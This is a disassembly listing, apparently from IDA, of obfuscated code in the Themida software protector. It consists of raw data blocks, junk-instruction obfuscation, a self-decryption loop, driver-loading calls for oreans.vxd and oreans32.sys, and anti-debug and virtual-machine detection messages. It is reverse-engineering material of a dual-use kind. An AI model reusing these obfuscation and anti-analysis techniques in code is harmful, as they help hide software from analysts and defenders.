		dd 0B3DE9184h, 0FA815958h, 0FFFFA01Ch, 2D850Fh,	0E9600000h
		dd 10h,	0F35E6F3Fh, 2E070E8Ah, 0C9C01385h, 57C16D3Fh, 2BE961h
		dd 0AEE30000h, 2E065E78h, 0AF1CB016h, 0E81D7D8Dh, 66E319F0h
		dd 51E9C78Bh, 10FFFFFFh, 86B72A3Fh, 696636ABh, 36C9B988h
		dd 1D5DE1A4h, 99E908h, 622F0000h, 68636775h, 326B6365h
		dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h
		dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h
		dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh
		dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h
		dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch
		dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h
		dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 12BAEBBDh
		dd 840F0006h, 0Ah, 9585C7h, 10610h, 85C60000h, 61023E5h
		dd 0FF726847h, 3481C4DBh, 0B693FF24h, 99B5FF54h, 8D061014h
		dd 103A3285h, 0FFD0FF06h
		dd 80F88BD0h, 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh
		dd 18840F00h, 47000003h, 0F003F80h, 30E84h, 1EE900h, 3F800000h
		dd 840F00h, 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h
		dd 0FFFFFFE2h, 0F003F80h, 585h,	2DDE900h, 1E90000h, 47000000h
		dd 0F203F80h, 0FFFFF684h, 3F80FFh, 5850Fh, 0C0E90000h
		dd 0E8000002h, 0Ah, 0FFFFCBE9h,	2B1E9FFh, 0B58D0000h, 612BA6Bh
		dd 225E8h, 0BD0300h, 830612BBh,	12BB00BDh, 840F0006h, 0Bh
		dd 158D85C7h, 10610h, 8DC30000h, 12BA76B5h, 1FCE806h, 0BD030000h
		dd 612BB00h, 0BB00BD83h, 0F000612h, 0B84h, 9585C700h, 1061000h
		dd 0C3000000h, 0BAEFB58Dh, 0D3E80612h, 3000001h, 12BB00BDh
		dd 0BD8306h, 612BBh, 0B840Fh, 85C70000h, 6100D39h, 1, 80B58DC3h
		dd 0E80612BAh, 1AAh, 0BB00BD03h, 0BD830612h, 612BB00h
		dd 0B840F00h, 0C7000000h, 10009585h, 106h, 0B58DC300h
		dd 612BA8Ah, 181E8h, 0BD0300h, 830612BBh, 12BB00BDh, 840F0006h
		dd 15h,	9585C7h, 10610h, 85C70000h, 610158Dh, 1, 98B58DC3h
		dd 0E80612BAh, 14Eh, 0BB00BD03h, 0BD830612h, 612BB00h
		dd 0A840F00h, 0C7000000h, 1015BD85h, 106h, 0A2B58D00h
		dd 0E80612BAh, 126h, 0BB00BD03h, 0BD830612h, 612BB00h
		dd 0A840F00h, 0C7000000h, 1015BD85h, 106h, 0ADB58D00h
		dd 0E80612BAh, 0FEh, 0BB00BD03h, 0BD830612h, 612BB00h
		dd 0A840F00h, 0C7000000h, 10234185h, 106h, 0B3B58D00h
		dd 0E80612BAh, 0D6h, 0BB00BD03h, 0BD830612h, 612BB00h
		dd 0A840F00h, 0C7000000h, 100BD185h, 106h, 0B9B58D00h
		dd 0E80612BAh, 0AEh, 0BB00BD03h, 0BD830612h, 612BB00h
		dd 0A840F00h, 0C7000000h, 1007DD85h, 106h, 0C7B58D00h
		dd 0E80612BAh, 86h, 0BB00BD03h,	0BD830612h, 612BB00h, 0A840F00h
		dd 0C7000000h, 102F3D85h, 106h,	0D4B58D00h, 0E80612BAh
		dd 5Eh,	0BB00BD03h, 0BD830612h,	612BB00h, 0A840F00h, 0C7000000h
		dd 102D6585h, 106h, 0DFB58D00h,	0E80612BAh, 36h, 0BB00BD03h
		dd 0BD830612h, 612BB00h, 0A840F00h, 0C7000000h,	102E6D85h
		dd 106h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h
		dd 0B960C3FFh, 1, 19E9DE8Bh, 80000000h,	850F003Fh, 2, 178AC92Bh
		dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h
		dd 0FFFFD685h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h
		dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h
		dd 0D840Fh, 0F32B0000h,	0BB00B589h, 0AE90612h, 0C7000000h
		dd 12BB0085h, 6, 0B8C36100h, 0
; ---------------------------------------------------------------------------
		or	eax, eax
		jz	loc_5772F6
		mov	dword ptr [ebp+61015BDh], 0


loc_5772F6:				; CODE XREF: Themida_:005772E6j
		mov	ecx, eax
		jmp	loc_57750B
; ---------------------------------------------------------------------------
a3cannotWriteOr	db '3Cannot write oreans.vxd',0Ah
		db 0Dh,'Make sure that this file is not being used by another program.',0
		align 4
		dd 67h dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_57750B:				; CODE XREF: Themida_:005772F8j
		jmp	loc_5775FF
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+61023E5h], 47h
		push	0E3E45B86h
		push	dword ptr [ebp+6101499h]
		lea	eax, [ebp+6103A32h]
		call	eax
		push	104h
		lea	ebx, [ebp+6103385h]
		push	ebx
		call	eax
		push	eax
		lea	esi, [ebp+612C08Ah]
		mov	edi, esi
		xor	al, al


loc_577543:				; CODE XREF: Themida_:00577544j
		scasb
		jnz	loc_577543
		sub	edi, esi
		mov	ecx, edi
		pop	eax
		mov	edi, ebx
		add	edi, eax
		rep movsb
		mov	byte ptr [ebp+61023E5h], 43h
		push	0BC8E6EFCh
		push	dword ptr [ebp+6101499h]
		lea	eax, [ebp+6103A32h]
		call	eax
		lea	esi, [ebp+6103385h]
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	0C0000000h
		push	esi
		call	eax
		mov	ebx, eax
		mov	byte ptr [ebp+61023E5h], 57h
		push	0A69BEE56h
		push	dword ptr [ebp+6101499h]
		lea	eax, [ebp+6103A32h]
		call	eax
		lea	edi, [ebp+61031BDh]
		lea	ecx, [ebp+612C1B0h]
		push	0
		push	edi
		push	37D0h
		push	ecx
		push	ebx
		call	eax
		test	eax, eax
		jnz	loc_5775E1
		lea	esi, [ebp+612BE92h]
		lea	eax, [ebp+612AB5Eh]
		call	eax
		lea	ecx, [ebp+61073A3h]
		mov	eax, 0
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5775E1:				; CODE XREF: Themida_:005775C0j
		mov	byte ptr [ebp+61023E5h], 43h
		push	0C0764AA7h
		push	dword ptr [ebp+6101499h]
		lea	eax, [ebp+6103A32h]
		call	eax
		push	ebx
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_5775FF:				; CODE XREF: Themida_:loc_57750Bj
		mov	ecx, 37D0h
		call	$+5
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_577616
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_577616:				; CODE XREF: Themida_:0057760Fj
		jmp	loc_57ADEB
; ---------------------------------------------------------------------------
		db 4Dh
		dd 300905Ah, 4000000h, 0FF000000h, 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
		dd 4C000000h
		db 45h
byte_5776CD	db 3 dup(0)		; DATA XREF: Themida_:0054C1A8o
		dd 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	16Ah dup(0)
		db 2 dup(0)
word_577E4A	dw 0			; DATA XREF: sub_55598B+1Do
		dd 1F5h	dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 9C3h dup(0)
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 9 dup(0)
; ---------------------------------------------------------------------------
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [esi+0Ch], 0
		jnz	short loc_57ADC0
		xor	eax, eax
		jmp	short locret_57ADDA
; ---------------------------------------------------------------------------


loc_57ADC0:				; CODE XREF: Themida_:0057ADBAj
		cmp	dword ptr [esi+0Ch], 1
		jnz	short locret_57ADDA
		lea	eax, large ds:0
		mov	edi, [esi+18h]
		mov	[edi], eax
		mov	dword ptr [esi+20h], 4
		xor	eax, eax

locret_57ADDA:				; CODE XREF: Themida_:0057ADBEj
					; Themida_:0057ADC4j
		retn
; ---------------------------------------------------------------------------
		db 0Ch
aXprotvxd_ddb	db 'XPROTVXD_DDB',0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57ADEB:				; CODE XREF: Themida_:loc_577616j
		call	sub_57ADFF
		xchg	eax, ebp
		pop	ebp
		sub	[ebp-7Fh], edi
		pop	edi
		fldpi
		sub	[ecx+esi*8+4Bh], dh
		push	es
		mov	cl, 7Ch

; =============== S U B	R O U T	I N E =======================================



sub_57ADFF	proc near		; CODE XREF: Themida_:loc_57ADEBp
		or	[ebp+6102999h],	edx
		pop	ebx
		add	ebx, 5DF8h
		mov	[ebp+6100589h],	ebx
		mov	edx, 28428E95h
		sub	edx, 28427735h


loc_57AE1D:				; CODE XREF: sub_57ADFF+61j
		push	dword ptr [ebx]
		mov	si, 8AA7h
		pop	eax
		add	ch, 2Eh
		add	eax, 1AC8F1BBh
		cmc
		xor	eax, 6FEA52Fh
		mov	ecx, 1515FF6Ah
		add	eax, 7C286305h
		push	ecx
		mov	edi, [ebp+610283Dh]
		pop	edi
		push	eax
		xor	edi, [ebp+61008B5h]
		pop	dword ptr [ebx]
		mov	[ebp+6100E49h],	ecx
		sub	ebx, 4
		or	[ebp+6101471h],	edi
		dec	edx
		jnz	loc_57AE1D


loc_57AE66:				; DATA XREF: Themida_:0054BDF0o
					; Themida_:0054CAF8o
		mov	[ebp+6102AFDh],	edx
		jmp	loc_57BF28
; ---------------------------------------------------------------------------
		db 41h,	44h, 56h
		dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh
		dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h
		dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h
		dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h
		dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h
		dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h
		dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
		dd 6165726Fh, 3678736Eh, 79732E34h, 73h, 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h
		db 4, 0
word_57BE82	dw 94h			; DATA XREF: Themida_:0054D2D8o
					; Themida_:0054DCF0o
		dd 50000h, 10000h, 0A280000h, 20000h, 21h dup(0)
		dd 6F530000h, 61777466h, 575C6572h, 656E69h
; ---------------------------------------------------------------------------


loc_57BF28:				; CODE XREF: sub_57ADFF+6Dj
		mov	eax, esp
		sbb	ecx, 58841574h
		mov	[ebp+6100849h],	eax
		mov	edi, [ebp+6100D8Dh]
		mov	eax, eax
		call	sub_57BF48
		xor	eax, 0FB609246h
sub_57ADFF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57BF48	proc near		; CODE XREF: sub_57ADFF+113Fp
		mov	cx, dx
		pop	ecx
		cmp	dword ptr [ebp+610158Dh], 0
		jnz	short loc_57BF5E
		cmp	dword ptr [ebp+6100095h], 0
		jz	short loc_57BF77


loc_57BF5E:				; CODE XREF: sub_57BF48+Bj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+6100E65h],	eax
		lea	ebx, [ebp+612B815h]
		call	ebx
		pop	ebx
		pop	eax


loc_57BF77:				; CODE XREF: sub_57BF48+14j
		cmp	dword ptr [ebp+6100095h], 0
		jz	short loc_57BF97
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+6100E65h],	eax
		lea	ebx, [ebp+612B504h]
		call	ebx
		pop	ebx
		pop	eax


loc_57BF97:				; CODE XREF: sub_57BF48+36j
		add	[ebp+61005BDh],	eax
		push	0
		push	edx
		call	sub_57BFA8
		and	[edx-3Dh], bl
sub_57BF48	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57BFA8	proc near		; CODE XREF: sub_57BF48+58p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_57BFA8	endp

; ---------------------------------------------------------------------------
		dd 8B33C57Fh, 5E9C0h, 9F700000h, 8BB5D6D7h, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 5E9923A2h, 2D958B60h, 5706101Eh, 335D8D8Bh, 615F0610h
		dd 83FABF0Fh, 10158DBDh, 9750006h, 95BD83h, 74000610h
		dd 8B535013h, 0B8C0h, 9D8D0000h, 612B6B7h, 585BD3FFh, 95BD83h
		dd 74000610h, 0B8535011h, 0
		dd 0B5689D8Dh, 0D3FF0612h, 0F60585Bh, 138Ah, 0EE900h, 4FB70000h
		dd 4B546F15h, 798BFA5Bh, 0CBBECAE2h, 61FABF0Fh,	6840Fh
		dd 0BD8B0000h, 6100585h, 6660C08Bh, 8166DA8Bh, 6189C6CAh
		dd 0FC60C08Bh, 0D8ECBA66h, 0D68B6661h, 158DBD83h, 75000610h
		dd 95BD8309h, 61000h, 53501374h, 0B8C08Bh, 8D000000h, 12B5E99Dh
		dd 5BD3FF06h, 95BD8358h, 61000h, 53501174h, 0B8h, 369D8D00h
		dd 0FF0612B5h, 89585BD3h, 100BF1BDh, 0C1B50106h, 8B061008h
		dd 0E9C08BC8h, 9, 5EADFB32h, 0CCA0DC21h, 83C08B1Bh, 10158DBDh
		dd 9750006h, 95BD83h, 74000610h, 8B535013h, 0B8C0h, 9D8D0000h
		dd 612B650h, 585BD3FFh,	95BD83h, 74000610h, 0B8535011h
		dd 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+612B54Fh]
		call	ebx
		pop	ebx
		pop	eax
		push	0
		push	eax
		call	sub_57C125
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C125	proc near		; CODE XREF: Themida_:0057C11Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_57C125	endp

; ---------------------------------------------------------------------------
		dec	ecx
		sub	ecx, [ebp+6100DE1h]
		mov	[ebp+61021B1h],	ebx
		mov	[ebp+6102179h],	ebx
		mov	eax, eax
		pusha
		mov	[ebp+61008B1h],	esi
		mov	[ebp+6102F05h],	ecx
		popa
		mov	eax, eax
		push	ebx
		jmp	loc_57C166
; ---------------------------------------------------------------------------
		test	eax, 4687E86Ah
		pop	esp


loc_57C166:				; CODE XREF: Themida_:0057C15Bj
		pop	edi
		cmp	dword ptr [ebp+610158Dh], 0
		jnz	short loc_57C179
		cmp	dword ptr [ebp+6100095h], 0
		jz	short loc_57C18C


loc_57C179:				; CODE XREF: Themida_:0057C16Ej
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+612B582h]
		call	ebx
		pop	ebx
		pop	eax


loc_57C18C:				; CODE XREF: Themida_:0057C177j
		mov	ecx, edi
		push	0
		push	eax
		call	sub_57C199
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C199	proc near		; CODE XREF: Themida_:0057C191p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_57C199	endp

; ---------------------------------------------------------------------------
		db 63h,	0Dh, 38h
; ---------------------------------------------------------------------------
		pop	esp
		push	edi
		add	edi, 0B98B6E5h
		pop	edx
		xor	[ebp+6100985h],	ebx
		sub	[ebp+610218Dh],	ebx
		mov	eax, eax
		jmp	loc_57C1CF
; ---------------------------------------------------------------------------
		mov	esp, 73FA7384h
		adc	ch, dl


loc_57C1CF:				; CODE XREF: Themida_:0057C1C3j
		mov	eax, eax
		add	edx, 970B812h
		cmp	dword ptr [ebp+610158Dh], 0
		jnz	short loc_57C1E9
		cmp	dword ptr [ebp+6100095h], 0
		jz	short loc_57C202


loc_57C1E9:				; CODE XREF: Themida_:0057C1DEj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D0h
		mov	[ebp+6100E65h],	eax
		lea	ebx, [ebp+612B815h]
		call	ebx
		pop	ebx
		pop	eax


loc_57C202:				; CODE XREF: Themida_:0057C1E7j
		cmp	dword ptr [ebp+6100095h], 0
		jz	short loc_57C222
		push	eax
		push	ebx
		mov	eax, 7D0h
		mov	[ebp+6100E65h],	eax
		lea	ebx, [ebp+612B504h]
		call	ebx
		pop	ebx
		pop	eax


loc_57C222:				; CODE XREF: Themida_:0057C209j
		push	0
		push	eax
		call	sub_57C22D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C22D	proc near		; CODE XREF: Themida_:0057C225p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_57C22D	endp

; ---------------------------------------------------------------------------
		and	ecx, [ebp+11h]
		mov	edx, edi
		mov	[ebp+61006F5h],	edx
		mov	eax, eax
		or	[ebp+610168Dh],	ebx
		jg	loc_57C259
		movzx	edx, ax


loc_57C259:				; CODE XREF: Themida_:0057C250j
		mov	byte ptr [ebp+61023E5h], 53h
		jmp	loc_57C272
; ---------------------------------------------------------------------------
		db 98h,	0A7h, 4Ah
		dd 46A30B33h, 9F296F60h
		db 16h,	77h
; ---------------------------------------------------------------------------


loc_57C272:				; CODE XREF: Themida_:0057C260j
		push	99395F90h
		pusha
		pusha
		mov	esi, [ebp+6102DADh]
		mov	edx, esi
		popa
		jb	loc_57C28E
		add	eax, [ebp+6100585h]


loc_57C28E:				; CODE XREF: Themida_:0057C282j
		popa
		push	dword ptr [ebp+6101499h]
		mov	[ebp+61023C1h],	esi
		lea	eax, [ebp+6103A32h]
		or	dh, 35h
		call	eax
		or	dx, 4DA8h
		mov	[ebp+6102DB9h],	eax
		mov	byte ptr [ebp+61023E5h], 57h
		push	0
		push	ecx
		call	sub_57C2C3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C2C3	proc near		; CODE XREF: Themida_:0057C2BBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_57C2C3	endp

; ---------------------------------------------------------------------------
		and	eax, 0A415E232h
		clc
		push	90045206h
		jmp	loc_57C2EE
; ---------------------------------------------------------------------------
		db 0ACh
		dd 28FF18A2h, 25016518h
		db 87h,	3Dh
; ---------------------------------------------------------------------------


loc_57C2EE:				; CODE XREF: Themida_:0057C2DEj
		push	dword ptr [ebp+6101499h]
		mov	[ebp+6103075h],	edx
		lea	eax, [ebp+6103A32h]
		add	[ebp+6100C79h],	eax
		call	eax
		push	0
		push	ecx
		call	sub_57C313
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C313	proc near		; CODE XREF: Themida_:0057C30Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_57C313	endp

; ---------------------------------------------------------------------------
		db 3Fh
		dd 5C36B1E0h, 11E8h, 0DCA48300h, 0EF5BFE15h, 9585A06Bh
		dd 89187CBEh, 0B9669F0Fh, 8959FF5Eh, 10061585h,	0E585C606h
		dd 43061023h, 12CDBD29h, 28680610h, 0F9BC9070h,	1499B5FFh
		dd 85310610h, 6100471h,	3A32858Dh, 6A0610h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 8CEFE6C3h
		dd 0C9040411h, 0D0FF13ABh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 8BC35343h, 0C534E562h, 0FFD125Ah, 482h
		dd 0F1B96600h, 68A0F20h, 89000000h, 101C298Dh, 0C9858906h
		dd 6A06102Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0E673C350h, 89FCA532h,	1023299Dh
		dd 0E585C606h, 4C061023h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0C7C35646h, 0A9B52360h, 81061009h, 7F54DEDBh
		dd 68F96146h, 0D9DA1CE9h, 0DE8h, 0B7515600h, 662F2F7h
		dd 5F99C23Ah, 0B70FC6E1h, 0B5FF5FFAh, 6101499h,	21A5B531h
		dd 858D0610h, 6103A32h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0B8C35545h, 0FFD78B66h, 56006AD0h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 4DB460Ch, 0C648F8B6h, 69958B3Eh, 8906100Ch, 1015DD85h
		dd 0F1958906h, 0C6061007h, 1023E585h, 6A4606h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0ED0C7DC3h, 19159589h, 0B5890610h, 6102D51h,	0DE061468h
		dd 0E58D8BBAh, 0FF061004h, 101499B5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 0A5408164h, 4104BC42h, 858DCA7Fh, 6103A32h, 3780B966h
		dd 5BEF8166h, 6AD0FF65h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0B297C357h,	663704BAh
		dd 8589FE8Bh, 61018CDh,	2AE9BD8Bh, 85C60610h, 61023E5h
		dd 0F88B6647h, 0FB5E268h, 0FBB70F8Ah, 1499B5FFh, 0BF660610h
		dd 858DB646h, 6103A32h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0A3C35040h, 76F71B15h, 7D653C72h, 0DB88F281h
		dd 8D896A45h, 61016D1h,	8589D0FFh, 6100D85h, 1118D8Bh
		dd 958B0610h, 6101E31h,	23E585C6h, 0F470610h, 0F368C9BFh
		dd 6683D0B5h, 2D66C981h, 1499B5FFh, 6A0610h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 97CD96C3h
		dd 1DBD8BCFh, 8906101Fh, 1011458Dh, 32858D06h, 0F506103Ah
		dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0DE525DC3h, 3D83130Eh, 2D5DB529h,	85890610h
		dd 6100801h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0CAC35040h, 0BF395B8h, 27B58D8Bh, 85C60610h, 61023E5h
		dd 6840F77h, 8B000000h,	10163595h, 0A8A36806h, 8B0FF397h
		dd 2, 0B5FFCB8Bh, 61020E5h, 8DF9BF0Fh, 103A3285h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 840FE257h, 1, 8BD0FFF8h, 100FE595h, 51858906h, 6A061002h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 9F53C357h, 77081090h, 2A058D8Bh, 85C60610h
